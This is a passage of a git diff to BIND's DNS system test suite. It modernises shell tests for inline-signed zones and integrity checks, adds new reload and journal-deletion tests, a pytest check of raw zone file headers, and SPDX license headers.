-$DIG $DIGOPTS @10.53.0.3 bar.nokeys. A > dig.out.ns3.post.test$n 2>&1
+$DIG $DIGOPTS @10.53.0.3 bar.nokeys. A > dig.out.ns3.post.test$n 2>&1 || ret=1
 grep "status: NOERROR" dig.out.ns3.post.test$n > /dev/null || ret=1
 grep "RRSIG" dig.out.ns3.pre.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that changes to raw zone are not applied to a previously signed secure zone with no keys available (primary) ($n)"
 ret=0
 # Query for bar.removedkeys-primary/A and ensure the response is negative.  As
@@ -1246,20 +1142,20 @@ EOF
 wait_until_raw_zone_update_is_processed "removedkeys-primary"
 # Query for bar.removedkeys-primary/A again and ensure the signer still returns
 # a negative, signed response.
-$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-primary. A > dig.out.ns3.post.test$n 2>&1
+$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-primary. A > dig.out.ns3.post.test$n 2>&1 || ret=1
 grep "status: NOERROR" dig.out.ns3.post.test$n > /dev/null && ret=1
 grep "RRSIG" dig.out.ns3.pre.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that backlogged changes to raw zone are applied after keys become available (primary) ($n)"
 ret=0
 # Restore the signing keys for this zone.
 mv ns3/removedkeys/Kremovedkeys-primary* ns3
-$RNDCCMD 10.53.0.3 loadkeys removedkeys-primary > /dev/null 2>&1
+$RNDCCMD 10.53.0.3 loadkeys removedkeys-primary > /dev/null 2>&1 || ret=1
 # Determine what a SOA record with a bumped serial number should look like.
-BUMPED_SOA=`sed -n 's/.*\(add removedkeys-primary.*IN.*SOA\)/\1/p;' ns3/named.run | tail -1 | awk '{$8 += 1; print $0}'`
+BUMPED_SOA=$(sed -n 's/.*\(add removedkeys-primary.*IN.*SOA\)/\1/p;' ns3/named.run | tail -1 | awk '{$8 += 1; print $0}')
 # Ensure the wait_until_raw_zone_update_is_processed() call below will ignore
 # log messages generated before the raw zone is updated.
 nextpart ns3/named.run > /dev/null
@@ -1274,13 +1170,13 @@ EOF
 wait_until_raw_zone_update_is_processed "removedkeys-primary"
 # Query for bar.removedkeys-primary/A again and ensure the signer now returns a
 # positive, signed response.
-$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-primary. A > dig.out.ns3.test$n 2>&1
+$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-primary. A > dig.out.ns3.test$n 2>&1 || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "RRSIG" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that changes to raw zone are not applied to a previously signed secure zone with no keys available (secondary) ($n)"
 ret=0
 # Query for bar.removedkeys-secondary/A and ensure the response is negative.  As this
@@ -1303,20 +1199,20 @@ EOF
 wait_until_raw_zone_update_is_processed "removedkeys-secondary"
 # Query for bar.removedkeys-secondary/A again and ensure the signer still returns a
 # negative, signed response.
-$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-secondary. A > dig.out.ns3.post.test$n 2>&1
+$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-secondary. A > dig.out.ns3.post.test$n 2>&1 || ret=1
 grep "status: NOERROR" dig.out.ns3.post.test$n > /dev/null && ret=1
 grep "RRSIG" dig.out.ns3.pre.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that backlogged changes to raw zone are applied after keys become available (secondary) ($n)"
 ret=0
 # Restore the signing keys for this zone.
 mv ns3/removedkeys/Kremovedkeys-secondary* ns3
-$RNDCCMD 10.53.0.3 loadkeys removedkeys-secondary > /dev/null 2>&1
+$RNDCCMD 10.53.0.3 loadkeys removedkeys-secondary > /dev/null 2>&1 || ret=1
 # Determine what a SOA record with a bumped serial number should look like.
-BUMPED_SOA=`sed -n 's/.*\(add removedkeys-secondary.*IN.*SOA\)/\1/p;' ns2/named.run | tail -1 | awk '{$8 += 1; print $0}'`
+BUMPED_SOA=$(sed -n 's/.*\(add removedkeys-secondary.*IN.*SOA\)/\1/p;' ns2/named.run | tail -1 | awk '{$8 += 1; print $0}')
 # Ensure the wait_until_raw_zone_update_is_processed() call below will ignore
 # log messages generated before the raw zone is updated.
 nextpart ns3/named.run > /dev/null
@@ -1331,11 +1227,11 @@ EOF
 wait_until_raw_zone_update_is_processed "removedkeys-secondary"
 # Query for bar.removedkeys-secondary/A again and ensure the signer now returns
 # a positive, signed response.
-$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-secondary. A > dig.out.ns3.test$n 2>&1
+$DIG $DIGOPTS @10.53.0.3 bar.removedkeys-secondary. A > dig.out.ns3.test$n 2>&1 || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "RRSIG" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check that the file $2 for zone $1 does not contain RRSIG records
 # while the journal file for that zone does contain them.
@@ -1346,37 +1242,41 @@ ensure_sigs_only_in_journal() {
 	$CHECKZONE -j -i none -f raw -D -o - "$origin" "$masterfile" 2>&1 | grep -w RRSIG > /dev/null || ret=1
 }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that records added from a journal are scheduled to be resigned ($n)"
 ret=0
+zone="delayedkeys"
 # Signing keys for the "delayedkeys" zone are not yet accessible.  Thus, the
 # zone file for the signed version of the zone will contain no DNSSEC records.
 # Move keys into place now and load them, which will cause DNSSEC records to
 # only be present in the journal for the signed version of the zone.
 mv Kdelayedkeys* ns3/
-$RNDCCMD 10.53.0.3 loadkeys delayedkeys > rndc.out.ns3.pre.test$n 2>&1 || ret=1
+cp ns3/delayedkeys.conf.2 ns3/delayedkeys.conf
+$RNDCCMD 10.53.0.3 reconfig > /dev/null 2>&1 || ret=1
+
+#$RNDCCMD 10.53.0.3 loadkeys delayedkeys > rndc.out.ns3.pre.test$n 2>&1 || ret=1
 # Wait until the zone is signed.
 check_done_signing () (
-    $RNDCCMD 10.53.0.3 signing -list delayedkeys > signing.out.test$n 2>&1
-    num=`grep "Done signing with" signing.out.test$n | wc -l`
+    $RNDCCMD 10.53.0.3 signing -list delayedkeys > signing.out.test$n 2>&1 || true
+    num=$(grep "Done signing with" signing.out.test$n | wc -l)
     [ $num -eq 2 ]
 )
 retry_quiet 10 check_done_signing || ret=1
 # Halt rather than stopping the server to prevent the file from being
 # flushed upon shutdown since we specifically want to avoid it.
-$PERL ../stop.pl --use-rndc --halt --port ${CONTROLPORT} inline ns3
+stop_server --use-rndc --halt --port ${CONTROLPORT} ns3 || ret=1
 ensure_sigs_only_in_journal delayedkeys ns3/delayedkeys.db.signed
-start_server --noclean --restart --port ${PORT} inline ns3
+start_server --noclean --restart --port ${PORT} ns3 || ret=1
 # At this point, the raw zone journal will not have a source serial set.  Upon
 # server startup, receive_secure_serial() will rectify that, update SOA, resign
 # it, and schedule its future resign.  This will cause "rndc zonestatus" to
 # return delayedkeys/SOA as the next node to resign, so we restart the server
 # once again; with the raw zone journal now having a source serial set,
 # receive_secure_serial() should refrain from introducing any zone changes.
-$PERL ../stop.pl --use-rndc --halt --port ${CONTROLPORT} inline ns3
+stop_server --use-rndc --halt --port ${CONTROLPORT} ns3 || ret=1
 ensure_sigs_only_in_journal delayedkeys ns3/delayedkeys.db.signed
 nextpart ns3/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} inline ns3
+start_server --noclean --restart --port ${PORT} ns3 || ret=1
 # We can now test whether the secure zone journal was correctly processed:
 # unless the records contained in it were scheduled for resigning, no resigning
 # event will be scheduled at all since the secure zone file contains no
@@ -1385,29 +1285,30 @@ wait_for_log 20 "all zones loaded" ns3/named.run || ret=1
 $RNDCCMD 10.53.0.3 zonestatus delayedkeys > rndc.out.ns3.post.test$n 2>&1 || ret=1
 grep "next resign node:" rndc.out.ns3.post.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
 
+n=$((n + 1))
 echo_i "check that zonestatus reports 'type: primary' for an inline primary zone ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 zonestatus master > rndc.out.ns3.test$n
+$RNDCCMD 10.53.0.3 zonestatus primary > rndc.out.ns3.test$n || ret=1
 grep "type: primary" rndc.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that zonestatus reports 'type: secondary' for an inline secondary zone ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 zonestatus bits > rndc.out.ns3.test$n
+$RNDCCMD 10.53.0.3 zonestatus bits > rndc.out.ns3.test$n || ret=1
 grep "type: secondary" rndc.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking reload of touched inline zones ($n)"
+ret=0
 echo_ic "pre-reload 'next key event'"
 nextpart ns8/named.run > nextpart.pre$n.out
-count=`grep "zone example[0-9][0-9].com/IN (signed): next key event:" nextpart.pre$n.out | wc -l`
+count=$(grep "zone example[0-9][0-9].com/IN (signed): next key event:" nextpart.pre$n.out | wc -l)
 echo_ic "found: $count/16"
 [ $count -eq 16 ] || ret=1
 echo_ic "touch and reload"
@@ -1416,11 +1317,66 @@ $RNDCCMD 10.53.0.8 reload 2>&1 | sed 's/^/ns3 /' | cat_i
 sleep 5
 echo_ic "post-reload 'next key event'"
 nextpart ns8/named.run > nextpart.post$n.out
-count=`grep "zone example[0-9][0-9].com/IN (signed): next key event:" nextpart.post$n.out | wc -l`
+count=$(grep "zone example[0-9][0-9].com/IN (signed): next key event:" nextpart.post$n.out | wc -l)
 echo_ic "found: $count/16"
 [ $count -eq 16 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking second reload of touched inline zones ($n)"
+ret=0
+nextpart ns8/named.run > nextpart.pre$n.out
+$RNDCCMD 10.53.0.8 reload 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 5
+nextpart ns8/named.run > nextpart.post$n.out
+grep "ixfr-from-differences: unchanged" nextpart.post$n.out && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n+1))
+echo_i "Check that 'rndc reload' of just the serial updates the signed instance ($n)"
+ret=0
+dig_with_opts @10.53.0.8 example SOA > dig.out.ns8.test$n.soa1 || ret=1
+cp ns8/example2.db.in ns8/example.db || ret=1
+nextpart ns8/named.run > /dev/null
+rndccmd 10.53.0.8 reload || ret=1
+wait_for_log 3 "all zones loaded" ns8/named.run
+sleep 1
+dig_with_opts @10.53.0.8 example SOA > dig.out.ns8.test$n.soa2 || ret=1
+soa1=$(awk '$4 == "SOA" { print $7 }' dig.out.ns8.test$n.soa1)
+soa2=$(awk '$4 == "SOA" { print $7 }' dig.out.ns8.test$n.soa2)
+ttl1=$(awk '$4 == "SOA" { print $2 }' dig.out.ns8.test$n.soa1)
+ttl2=$(awk '$4 == "SOA" { print $2 }' dig.out.ns8.test$n.soa2)
+test ${soa1:-1000} -lt ${soa2:-0} || ret=1
+test ${ttl1:-0} -eq 300 || ret=1
+test ${ttl2:-0} -eq 300 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check that restart with zone changes and deleted journal works ($n)"
+TSIG=
+ret=0
+dig_with_opts @10.53.0.8 example SOA > dig.out.ns8.test$n.soa1 || ret=1
+stop_server --use-rndc --port ${CONTROLPORT} ns8 || ret=1
+# TTL of all records change from 300 to 400
+cp ns8/example3.db.in ns8/example.db || ret=1
+rm -f ns8/example.db.jnl
+nextpart ns8/named.run > /dev/null
+start_server --noclean --restart --port ${PORT} ns8 || ret=1
+wait_for_log 3 "all zones loaded" ns8/named.run
+sleep 1
+dig_with_opts @10.53.0.8 example SOA > dig.out.ns8.test$n.soa2 || ret=1
+soa1=$(awk '$4 == "SOA" { print $7 }' dig.out.ns8.test$n.soa1)
+soa2=$(awk '$4 == "SOA" { print $7 }' dig.out.ns8.test$n.soa2)
+ttl1=$(awk '$4 == "SOA" { print $2 }' dig.out.ns8.test$n.soa1)
+ttl2=$(awk '$4 == "SOA" { print $2 }' dig.out.ns8.test$n.soa2)
+test ${soa1:-1000} -lt ${soa2:-0} || ret=1
+test ${ttl1:-0} -eq 300 || ret=1
+test ${ttl2:-0} -eq 400 || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/inline/tests_sh_inline.py b/bin/tests/system/inline/tests_sh_inline.py
new file mode 100644
index 0000000000..f7520b8792
--- /dev/null
+++ b/bin/tests/system/inline/tests_sh_inline.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_inline(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/inline/tests_signed_zone_files.py b/bin/tests/system/inline/tests_signed_zone_files.py
new file mode 100755
index 0000000000..596b756933
--- /dev/null
+++ b/bin/tests/system/inline/tests_signed_zone_files.py
@@ -0,0 +1,67 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import glob
+import struct
+
+
+class RawFormatHeader(dict):
+    """
+    A dictionary of raw-format header fields read from a zone file.
+    """
+
+    fields = [
+        "format",
+        "version",
+        "dumptime",
+        "flags",
+        "sourceserial",
+        "lastxfrin",
+    ]
+
+    def __init__(self, file_name):
+        header = struct.Struct(">IIIIII")
+        with open(file_name, "rb") as data:
+            header_data = data.read(header.size)
+        super().__init__(zip(self.fields, header.unpack_from(header_data)))
+
+
+def test_unsigned_serial_number():
+    """
+    Check whether all signed zone files in the "ns8" subdirectory contain the
+    serial number of the unsigned version of the zone in the raw-format header.
+    The test assumes that all "*.signed" files in the "ns8" subdirectory are in
+    raw format.
+
+    Notes:
+
+      - The actual zone signing and dumping happens while the tests.sh phase of
+        the "inline" system test is set up and run.  This check only verifies
+        the outcome of those events; it does not initiate any signing or
+        dumping itself.
+
+      - example[0-9][0-9].com.db.signed files are initially signed by
+        dnssec-signzone while the others - by named.
+    """
+
+    zones_with_unsigned_serial_missing = []
+
+    for signed_zone in sorted(glob.glob("ns8/*.signed")):
+        raw_header = RawFormatHeader(signed_zone)
+        # Ensure the unsigned serial number is placed where it is expected.
+        assert raw_header["format"] == 2
+        assert raw_header["version"] == 1
+        # Check whether the header flags indicate that the unsigned serial
+        # number is set and that the latter is indeed set.
+        if raw_header["flags"] & 0x02 == 0 or raw_header["sourceserial"] == 0:
+            zones_with_unsigned_serial_missing.append(signed_zone)
+
+    assert not zones_with_unsigned_serial_missing
diff --git a/bin/tests/system/integrity/clean.sh b/bin/tests/system/integrity/clean.sh
index e7e49f57c5..941fccf35a 100644
--- a/bin/tests/system/integrity/clean.sh
+++ b/bin/tests/system/integrity/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/integrity/ns1/mx-cname.db b/bin/tests/system/integrity/ns1/mx-cname.db
index 550f9851dc..a700269046 100644
--- a/bin/tests/system/integrity/ns1/mx-cname.db
+++ b/bin/tests/system/integrity/ns1/mx-cname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/integrity/ns1/named.conf.in b/bin/tests/system/integrity/ns1/named.conf.in
index 1f60cf35b0..00d9dba3b6 100644
--- a/bin/tests/system/integrity/ns1/named.conf.in
+++ b/bin/tests/system/integrity/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,6 +23,7 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/integrity/ns1/srv-cname.db b/bin/tests/system/integrity/ns1/srv-cname.db
index d0dca6c09f..d6ae603d07 100644
--- a/bin/tests/system/integrity/ns1/srv-cname.db
+++ b/bin/tests/system/integrity/ns1/srv-cname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/integrity/setup.sh b/bin/tests/system/integrity/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/integrity/setup.sh
+++ b/bin/tests/system/integrity/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/integrity/tests.sh b/bin/tests/system/integrity/tests.sh
index d9a8d89ba2..65648b495b 100644
--- a/bin/tests/system/integrity/tests.sh
+++ b/bin/tests/system/integrity/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -21,108 +25,108 @@ ret=0
 $DIG $DIGOPTS @10.53.0.1 mx mx-cname-fail > dig.out.test$n || ret=1
 grep "status: SERVFAIL," dig.out.test$n > /dev/null || ret=1
 grep "zone mx-cname-fail/IN: mx-cname-fail/MX 'cname.mx-cname-fail' is a CNAME (illegal)" ns1/named.run > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity yes; check-mx-cname warn;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 mx mx-cname-warn > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone mx-cname-warn/IN: mx-cname-warn/MX 'cname.mx-cname-warn' is a CNAME (illegal)" ns1/named.run > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity yes; check-mx-cname ignore;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 mx mx-cname-ignore > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone mx-cname-ignore/IN: mx-cname-ignore/MX 'cname.mx-cname-ignore' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-mx-cname fail;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 mx no-mx-cname-fail > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-mx-cname-fail/IN: no-mx-cname-fail/MX 'cname.no-mx-cname-fail' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-mx-cname warn;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 mx no-mx-cname-warn > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-mx-cname-warn/IN: no-mx-cname-warn/MX 'cname.no-mx-cname-warn' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-mx-cname ignore;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 mx no-mx-cname-ignore > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-mx-cname-ignore/IN: no-mx-cname-ignore/MX 'cname.no-mx-cname-ignore' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity yes; check-srv-cname fail;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv srv-cname-fail > dig.out.test$n || ret=1
 grep "status: SERVFAIL," dig.out.test$n > /dev/null || ret=1
 grep "zone srv-cname-fail/IN: srv-cname-fail/SRV 'cname.srv-cname-fail' is a CNAME (illegal)" ns1/named.run > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity yes; check-srv-cname warn;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv srv-cname-warn > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone srv-cname-warn/IN: srv-cname-warn/SRV 'cname.srv-cname-warn' is a CNAME (illegal)" ns1/named.run > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity yes; check-srv-cname ignore;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv srv-cname-ignore > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone srv-cname-ignore/IN: srv-cname-ignore/SRV 'cname.srv-cname-ignore' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-srv-cname fail;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv no-srv-cname-fail > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-srv-cname-fail/IN: no-srv-cname-fail/SRV 'cname.no-srv-cname-fail' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-srv-cname warn;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv no-srv-cname-warn > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-srv-cname-warn/IN: no-srv-cname-warn/SRV 'cname.no-srv-cname-warn' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check that 'check-integrity no; check-srv-cname ignore;' works ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 srv no-srv-cname-ignore > dig.out.test$n || ret=1
 grep "status: NOERROR," dig.out.test$n > /dev/null || ret=1
 grep "zone no-srv-cname-ignore/IN: no-srv-cname-ignore/SRV 'cname.no-srv-cname-ignore' is a CNAME (illegal)" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 test $status -eq 0 || exit 1
diff --git a/bin/tests/system/integrity/tests_sh_integrity.py b/bin/tests/system/integrity/tests_sh_integrity.py
new file mode 100644
index 0000000000..7316af3c14
--- /dev/null
+++ b/bin/tests/system/integrity/tests_sh_integrity.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_integrity(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ixfr/clean.sh b/bin/tests/system/ixfr/clean.sh
index e1dd69327b..eb7836389f 100644
--- a/bin/tests/system/ixfr/clean.sh
+++ b/bin/tests/system/ixfr/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ixfr/ixfr-stats-with-expire.good b/bin/tests/system/ixfr/ixfr-stats-with-expire.good
new file mode 100644
index 0000000000..c02992b14f
--- /dev/null
+++ b/bin/tests/system/ixfr/ixfr-stats-with-expire.good
@@ -0,0 +1,3 @@
+messages=1
+records=5
+bytes=223
diff --git a/bin/tests/system/ixfr/ixfr-stats-without-expire.good b/bin/tests/system/ixfr/ixfr-stats-without-expire.good
new file mode 100644
index 0000000000..0713c0b8ee
--- /dev/null
+++ b/bin/tests/system/ixfr/ixfr-stats-without-expire.good
@@ -0,0 +1,3 @@
+messages=1
+records=5
+bytes=215
diff --git a/bin/tests/system/ixfr/ixfr-stats.good b/bin/tests/system/ixfr/ixfr-stats.good
deleted file mode 100644
index 3d0d2dde32..0000000000
--- a/bin/tests/system/ixfr/ixfr-stats.good
+++ /dev/null
@@ -1,3 +0,0 @@
-messages=1
-records=5
-bytes=204
